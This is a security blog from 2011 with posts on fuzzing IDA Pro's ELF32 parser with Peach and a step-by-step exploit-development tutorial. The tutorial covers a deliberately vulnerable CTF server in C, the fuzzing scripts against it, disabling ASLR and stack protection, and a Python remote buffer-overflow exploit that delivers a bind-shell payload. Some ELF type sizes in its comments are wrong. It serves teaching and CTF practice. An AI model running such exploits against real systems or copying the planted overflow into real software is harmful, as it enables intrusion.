Friday, February 25, 2011
Fuzzing the ELF32 file format with Peach, part 2
<?xml version="1.0" encoding="utf-8"?>
<Peach xmlns="http://phed.org/2008/Peach" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://phed.org/2008/Peach ../peach.xsd" version="1.0"
author="J. Brett Cunningham">
<!-- Import defaults for Peach instance -->
<Include ns="default" src="file:defaults.xml" />
<!-- Define our file format DDL -->
<DataModel name="FileData">
<!-- Elf Magic Number in the Header (e_ident), static and non-configurable -->
<Blob name="MagicNumber" valueType="hex" value="7F 45 4C 46" token="true" />
<!-- Rest of e_ident -->
<Blob name="EI_CLASS" valueType="hex" value="02" />
<Number name="EI_DATA" valueType="hex" value="01" />
<Number name="EI_VERSION" valueType="hex" value="01" />
<Number name="EI_PAD" valueType="hex" value="00 00 00 00 00 00 00 00 00" />
<!-- End of e_ident -->
<!-- Rest of Elf Header -->
<Number name="e_type" size="16" signed="false" endian="little" />
<Number name="e_machine" size="16" signed="false" endian="little" />
<Number name="e_version" size="32" signed="false" endian="little" />
<Number name="e_entry" size="32" signed="false" endian="little" />
<Number name="e_phoff" size="32" signed="false" endian="little" />
<Number name="e_shoff" size="32" signed="false" endian="little" />
<Number name="e_flags" size="32" signed="false" endian="little" />
<Number name="e_ehsize" size="16" signed="false" endian="little" />
<Number name="e_phentsize" size="16" signed="false" endian="little" />
<Number name="e_phnum" size="16" signed="false" endian="little" />
<Number name="e_shentsize" size="16" signed="false" endian="little" />
<Number name="e_shnum" size="16" signed="false" endian="little" />
<Number name="e_shstrndx" size="16" signed="false" endian="little" />
</DataModel>
<!-- Define a simple state machine that will write the file and
then launch a program using the FileWriterLauncher publisher -->
<StateModel name="State" initialState="Initial">
<State name="Initial">
<Action type="open" />
<!-- Write out contents of file -->
<Action name="WriteFile" type="output" publisher="file" >
<DataModel ref="FileData" />
</Action>
<!-- Close file -->
<Action type="close" publisher="file" />
<!-- Launch the file consumer -->
<Action type="call" method="ida.exe" publisher="launch"/>
</State>
</StateModel>
<Agent name="LocalAgent" location="http://127.0.0.1:9000">
<Monitor class="debugger.WindowsDebugEngine">
<Param name="ProcessName" value="idag.exe" />
</Monitor>
</Agent>
<Test name="TheTest">
<Agent ref="LocalAgent" />
<StateModel ref="State"/>
<!-- Configure our publisher with correct filename to write too -->
<Publisher class="file.FileWriter" name="file">
<Param name="fileName" value="fuzzedfile" />
</Publisher>
<Publisher class="process.DebuggerLauncherGui" name="launch">
<Param name="windowName" value="IDA" />
</Publisher>
</Test>
<Run name="DefaultRun">
<Test ref="TheTest" />
<!-- TODO: Change log path if needed -->
<Logger class="logger.Filesystem">
<Param name="path" value="logs"/>
</Logger>
</Run>
</Peach>
<!-- end -->
Monday, February 14, 2011
Fuzzing the ELF32 file format with Peach
In light of the recent announcement by Hex Rays of their bug bounty program (http://www.hex-rays.com/bugbounty.shtml), we will be attempting to fuzz the ELF32 file format and IDA Pro. The hope is to find a bug in IDA Pro when it opens an ELF32 file, specifically in it's file format parsing functionality. We will use the common Peach fuzzer (www.pachfuzzer.com) to accomplish this. When using Peach, one must first create what's called a "Data Model" (http://peachfuzzer.com/TutorialFileFuzzing/CreateDataModel). Data Models describe how the struct of the file (or protocol) that you're fuzzing should look. Typically you create a Data Model that conforms with what you're fuzzing (be it ELF32 binaries, HTTP communication, BGP packets). After that, you start changing bits around, hoping to catch the program off-guard and finding a condition the program wasn't expecting.
References:
(1) http://en.wikipedia.org/wiki/Executable_and_Linkable_Format
(2) http://freebsd.active-venture.com/FreeBSD-srctree/newsrc/sys/elf32.h.html (32-bit)
(3) http://en.wikipedia.org/wiki/C_variable_types_and_declarations#Size (Variable types and their size in bytes)
(4) http://www.skyfree.org/linux/references/ELF_Format.pdf (32-bit ELF file format specification)
(5) http://ivan215.blogspot.com/2009/08/linux-elf.html (64-bit)
Methodology:
The ELF file format is the common file type for executable programs (see Reference 1), like Microsoft's PE file for files with the file extension "exe". The ELF header is set up as a C structure (see Reference 2, the comment that says ELF Header). The same reference will describe the length of each variable type definition (you see it on that page as typedef).
The ELF Header structure:
/*
* ELF definitions common to all 32-bit architectures.
*/
typedef u_int32_t Elf32_Addr; // 4 bytes
typedef u_int16_t Elf32_Half; // 2 bytes
typedef u_int32_t Elf32_Off; // 8 bytes
typedef int32_t Elf32_Sword; // 8 bytes
typedef u_int32_t Elf32_Word; // 8 bytes
typedef u_int32_t Elf32_Size; // 8 bytes
/*
* ELF header.
*/
typedef struct {
unsigned char e_ident[EI_NIDENT]; /* File identification. */
Elf32_Half e_type; /* File type. */
Elf32_Half e_machine; /* Machine architecture. */
Elf32_Word e_version; /* ELF format version. */
Elf32_Addr e_entry; /* Entry point. */
Elf32_Off e_phoff; /* Program header file offset. */
Elf32_Off e_shoff; /* Section header file offset. */
Elf32_Word e_flags; /* Architecture-specific flags. */
Elf32_Half e_ehsize; /* Size of ELF header in bytes. */
Elf32_Half e_phentsize; /* Size of program header entry. */
Elf32_Half e_phnum; /* Number of program header entries. */
Elf32_Half e_shentsize; /* Size of section header entry. */
Elf32_Half e_shnum; /* Number of section header entries. */
Elf32_Half e_shstrndx; /* Section name strings section. */
} Elf32_Ehdr;
Sample file: /usr/bin/top
see: man top(1)
$ readelf -h /usr/bin/top
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Intel 80386
Version: 0x1
Entry point address: 0x8049740
Start of program headers: 52 (bytes into file)
Start of section headers: 61808 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 8
Size of section headers: 40 (bytes)
Number of section headers: 32
Section header string table index: 31
standard elf header e_ident:
magic number: 0x7f
E = 45
L = 4C
F = 46
configurable:
EI_CLASS = 01 (32-bit objects)
1 byte
Means it's capable of 32-bit
Valid input is integers 0-2
EI_DATA = 01 (ELFDATA2LSB)
1 byte
2's complement, meaning little endian
Valid input is integers 0-2
EI_VERSION = 01
Must be the value of EV_CURRENT
EI_PAD = 00
Set to 0's, it's the beginning of unused bytes for the rest of e_ident
** end of e_ident **
e_type = 02 00
2 bytes
EXEC (Executable file)
From EI_DATA, we know this is little endian format. So it actually reads "00 02".
Valid input is 0-4, 0xff00, 0xffff.
e_machine = 03 00 (again in little endian, "00 03")
2 bytes
00 03 has the name "EM_386" meaning Intel 80386
Valid input is 0-8.
e_version = 01 00 00 00
4 bytes
Valid input is 0 and 1
e_entry = 40 97 04 08
4 bytes
Virtual Address to transfer control to the system
e_phoff = 34 00 00 00
4 bytes
Offset to the program's header table in bytes
e_shoff = 70 F1 00 00
4 bytes
Section header table's file offset in bytes
e_flags = 00 00 00 00
4 bytes
Machine flag information.
This is read 1 byte at a time, valid bytes must be 00 or 01. ie.: 00 01 00 01, 01 00 00 00, 00 01 01 00. Page 1-12 of Reference 4.
e_ehsize = 34 00
2 bytes
The size of the ELF header (in bytes).
e_phentsize = 20 00
2 bytes
This describes the size of an entry in the file's program header table, with all entries in that table being of the exact same size.
e_phnum = 08 00
2 bytes
This describes the number of entries in the program's header table. Additional tidbit: The header's table size in bytes can be determined by multiplying e_phentsize and e_phnum.
e_shentsize = 28 00
2 bytes
This is the size of the section headers (in bytes). All section headers are the same size.
e_shnum = 20 00
2 bytes
Number of entries in the section header table. Additional tidbit: Multiply e_shentsize and e_shnum, you have the section header's table size (again, in bytes).
e_shstrndx = 1F 00
2 bytes
The index of the section header table entry, containing the section name string table.
Valid input is 00. I believe any combination is also valid. Or in Reference 4, page 1-16, Figure 1-15.
On the next post, we will post the Data Model for use with Peach using the above as a template. As this is a new field of exploration for me, please note inaccuracies may occur. If any are spotted, feel free to help us and others out by commenting!
Sunday, February 13, 2011
In the beginning ( Part 2)
There are many programs that can do this but for this example we are going to demonstrate metasploit's pattern create. So we generate a 600 byte pattern by running..
pattern_create.rb 600
Nice, we get a clean pattern that we can now use in our skeleton file so that we can throw at the application. We can add this pattern to the last python code that we used in the "buffer=" location. After we ran this again within the debugger, we can see the eip location is filled with 41387141.
Now we can feed this back into metaploit either as converted or strait hex. I converted the hex and fed this back into metasploit. This is how I converted the hex.
Echo -e "\x41\x71\x38\x41" | awk '{printf "%s\n", $_}'
Results = Aq8A
Now we run the pattern_offset.rb with the parameters Aq8A and we will get a offset of 504. So what does this mean? This means that at 504 is the beginning offset that starts the overwrite of eip. OK, now we have the location we can control it to do what we want. First lets test this out and create another python script that is going to write the first part of the buffer with A's and the register with B's and the rest with C's. Cool lets start
#!/usr/bin/python
import socket
ret = "\x42\x42\x42\x42"
buffer='\x41' * 504 + ret + '\x43' * 88
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "\nSending buffer"
connect=s.connect(('127.0.0.1',23))
s.send(buffer+'\r\n')
s.close()
After we run this against the program we will see that we have successfully overwritten eip with B's or x42's. We also see that we have overwritten esp with the C's. With this in hand we can call eip to do a jump to esp where our code will reside. With gdb still running we can issue a 'disas jmp' to find out if there are any jmp esp's and we are in luck!! ..08048af5.
Ok, the truth of the matter is that it was not luck. If you look back at the code for the exploit there is a section that is written in assembly. This section is basically a false jmp esp. I added this section so that we can attack in a classic manner. Now we can see this attack is starting to form up.
It's time to start writing the exploit. The first thing that we need is exploit code. We know that the target is running Debian Linux so we need a Linux bind shell. I know we could have done more but this is easier to follow for this tutorial. We generate the code again with the metasploit's msfpayload.
Msfpayload linux/x86/shell_bind_tcp LPORT=9999 c
The results that we get are what is going to go in the location where we place the C's in the fuzzing program. Ok , let stop for a second and talk this through. First we are going throw 504 A's at the program , then we are going to throw the jmp esp and then we will throw a nop sled, and finally the exploit code.. Bingo. So lets take a look at the final code.
#!/usr/bin/python
import socket
shellcode = ("past code here ;) ")
ret = "\xef\x8b\x04\x08"
buffer='\x41' * 504 + ret + '\x90' * 7 + shellcode
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "\nSending buffer"
connect=s.connect(('127.0.0.1',23))
s.send(buffer+'\r\n')
s.close()
With the code in place its time to launch the attack. We relaunch the program , aim , and fire. We then fire up netcat and connect to port 9999 to see what we get. A shell...game over.
As you can see this was the design from start to finish of an exploit model. I don’t plan on finding many exploits this easy in the remaining days but one can only hope. Stay tuned.
Thursday, February 10, 2011
In the beginning ( Part 1)
As a first post I wanted to do a refresh one of the first trips into exploit development. As a premise, we were working on putting on a capture the flag event and wanted a homebrew software that the users would have to create there own code and would not be able to use automated tools.
The first part of this was the design of the exploitable code. jbc22 designed the majority of the code for this and I contributed a few pieces. Just as a disclaimer we know the code is not the prettiest, but it works. Aleph One's "Smashing the Stack for Fun and Profit" (http://insecure.org/stf/smashstack.html) was crucial in showing us how to create an application vulnerable to a buffer overflow; however, we wanted this to be attacked over the network, instead of locally on the box. Code was borrowed and modified from http://www.csee.wvu.edu/~cukic/CS350/sockets.pdf. Enjoy. Let me introduce the code:
#code#################################################
#include
/* for EXIT_FAILURE and EXIT_SUCCESS */
#include
#include
#define TRUE 1
#define FALSE 0
/* network functions */
#include
#include
#include
/* FD_SET, FD_ISSET, FD_ZERO macros */
#include
void blah(char *buffer) {
char badbuffer[500];
// malloc(*badbuffer);
strcpy(badbuffer, buffer);
//printf("blah: %s", buffer);
}
int main()
{
int opt=TRUE;
int master_socket;
struct sockaddr_in address;
int addrlen;
int new_socket;
int client_socket[3000];
int max_clients=3000;
int activity, loop, loop2, valread;
char buffer[1024]; /* data buffer of 1K */
fd_set readfds;
// unsigned long esp;
// esp = sp();
char *message="Happy hacking! |tag :: blah>"; // 0x%x\n", esp;
/* initialise all client_socket[] to 0 so not checked */
for (loop=0; loop <>
client_socket[loop] = 0;
}
/* create the master socket and check it worked */
if ((master_socket = socket(AF_INET,SOCK_STREAM,0))==0) {
/* if socket failed then display error and exit */
perror("Create master_socket");
exit(EXIT_FAILURE);
}
/* set master socket to allow multiple connections */
if (setsockopt(master_socket, SOL_SOCKET, SO_REUSEADDR,
(char *)&opt, sizeof(opt))<0)>
perror("setsockopt");
exit(EXIT_FAILURE);
}
/* type of socket created */
address.sin_family = AF_INET;
address.sin_addr.s_addr = INADDR_ANY;
/* 7000 is the port to use for connections */
address.sin_port = htons(23);
/* bind the socket to port 7000 */
if (bind(master_socket, (struct sockaddr *)&address, sizeof(address))<0)>
/* if bind failed then display error message and exit */
perror("bind");
exit(EXIT_FAILURE);
}
/* try to specify maximum of 3 pending connections for the master socket */
if (listen(master_socket, 999)<0)>
/* if listen failed then display error and exit */
perror("listen");
exit(EXIT_FAILURE);
}
while (1==1) {
FD_ZERO(&readfds);
/* reason we say max_clients+3 is stdin,stdout,stderr take up the first
* couple of descriptors and we might as well allow a couple of extra.
* If your program opens files at all you will want to allow enough extra.
* Another option is to specify the maximum your operating system allows.
*/
/* setup which sockets to listen on */
FD_SET(master_socket, &readfds);
for (loop=0; loop
if (client_socket[loop] > 0) {
FD_SET(client_socket[loop], &readfds);
}
}
/* wait for connection, forever if we have to */
activity=select(max_clients+3, &readfds, NULL, NULL, NULL);
//if ((activity <>
/* there was an error with select() */
// }
if (FD_ISSET(master_socket, &readfds)) {
/* Open the new socket as 'new_socket' */
addrlen=sizeof(address);
if ((new_socket = accept(master_socket, (struct sockaddr *)&address, &addrlen))<0)
{
/* if accept failed to return a socket descriptor, display error and exit */
perror("accept");
exit(EXIT_FAILURE);
}
/* inform user of socket number - used in send and receive commands */
printf("New socket is fd %d\n",new_socket);
/* transmit message to new connection */
if (send(new_socket, message, strlen(message), 0) != strlen(message)) {
/* if send failed to send all the message, display error and exit */
perror("send");
}
//puts("Password guess");
/* add new socket to list of sockets */
for (loop=0; loop
if (client_socket[loop] == 0) {
client_socket[loop] = new_socket;
printf("Adding to list of sockets as %d\n", loop);
loop = max_clients;
}
}
}
// need to recv and compare
for (loop=0; loop
if (FD_ISSET(client_socket[loop], &readfds)) {
if ((valread = read(client_socket[loop], buffer, 1024)) <>
printf("valread: ", valread);
close(client_socket[loop]);
client_socket[loop] = 0;
} else {
/* set the terminating NULL byte on the end of the data read */
buffer[valread] = 0;
//send(client_socket[loop], buffer, strlen(buffer), 0);
blah(buffer);
}
/*
* use read() to read from the socket into a buffer using something
* similar to the following:
*
* If the read didn't cause an error then send buffer to all
* client sockets in the array - use for loop and send() just
* as if you were sending it to one connection
*
* important point to note is that if the connection is char-by-char
* the person will not be able to send a complete string and you will
* need to use buffers for each connection, checking for overflows and
* new line characters (\n or \r)
*/
// }
}
}
}
/* normally you should close the sockets here before program exits */
/* however, in this example the while() loop prevents getting here */
}
int jmp(void){
__asm__("jmp *%esp");
return 0;
}
//unsigned long sp(void) { __asm__("movl %esp, %eax");}
#end code#########################################################
Ok, as you can see this code is a classic example of a buffer overflow. What this program does is simulate a telnet server so that you can telnet to the computers port 23 and get a response. Great !! So now what do we do with this. Remote exploit of course. Lets start with the basics. We want to see if we can make the program crash. We are going to overflow the buffer and see what happens. He is the code for a simple fuzzer that will increment the value being thrown at the program.
#!/usr/bin/python
import socket
buffer=["\x41"]
counter=1
while len(buffer) <=5000:
buffer.append("\x41"*counter)
counter=counter+5
for string in buffer:
print "sending with " + str(len(string))+" bytes."
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.110.156',23))
s.recv(1024)
s.send(string+'\r\n')
s.close()
So , looking at the code what this does is send "A" s to the remote computer and keep incrementing the the counter by 5. So if we run this code that we will crash the remote computer at around value 512 hmmm.
Now we need to start and get a little dirty. We need to build the code and run it in a debugger to get the full picture. There are first things first that need to take place in order to test out the code . When first trying to exploit it, we found that the address in memory kept changing, providing a layer of complexity that we felt shouldn't be there during a very time-limited contest. After reading a paper by MWR Security (http://labs.mwrinfosecurity.com/notices/assessing_the_tux_strength_part_2_into_the_kernel/), we found that Debian had the least amount of randomization, especially when 'randomize_va_space' was disabled. So lets disable it:
sysctl -w kernel.randomize_va_space=0
Good, now that is disabled we need to compile the program with out stack protection. Stack protection is default and will help secure your code so that if there is a buffer overflow it will not allow further compromise. So lets compile with out stack protection:
gcc -fno-stack-protector program.c
Ok, now we should have a working program that should be exploitable. So now lets run the program within gdb and see what we get. As a side note yes we know there are other ways of doing this but I am presenting the most clear way.
#gdb program
#run
Now that the program is running in the debugger lets throw a lot of A's at the program and see if we can get some buffer overwrite.
#!/usr/bin/python
import socket
buffer='A' * 50000
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "\nSending buffer"
connect=s.connect(('127.0.0.1',23))
s.send(buffer+'\r\n')
s.close()
You will see that the program will crash with in the debugger but you will see something that is really interesting.
Those look familiar right? Yes those are our A's doing there work and overwriting registers. W0ot. Let's take a look at all the other registers and see what we get with info reg.
Well now you can see that we have over written ebp and eip. lets take a look into the registers and make sure in gdb with x/100xb $esp
So now what do we do? We need to find the location that controls eip what will point back to the code that we want to use to exploit the program. So the easy way for us to find out where eip lives is using a pattern and match up the pattern to the location. Of course I will show you.
In the next installment...
Tuesday, February 8, 2011
30 days of exploit
Welcome to 5x5 security where we are kicking off with 30 days of exploit. The idea was born after launching a CTF competition in which Brett and I worked on creating a vulnerable application. Brett worked on the majority of code and I added a few pieces here and there. We will discuss the code and the poc that was developed. Further, we worked with several applications and found potential vulnerabilities that we wanted to research further. We also plan on entertaining the idea of hardware exploit dev. In the end, we hope to learn a lot and plan on sharing our findings or not findings with you.
Charles Pfaff
Brett Cunningham
Installing Older Versions of VeraCrypt on Linux: A Step-by-Step Guide
Introduction: During some house cleaning I had an old external drive that was encrypted with an old version of truecrypt. I wanted to mount...
-
Introduction: During some house cleaning I had an old external drive that was encrypted with an old version of truecrypt. I wanted to mount...
-
Live Linux forensics in a KVM based environment (part 1) Most of this blog will be based on a image that I created that I will be walking...
-
I worked with Micah Kays over the past couple weeks on building a full-interaction honeypot. I bought a Dell desktop off Craigslist (80gb ha...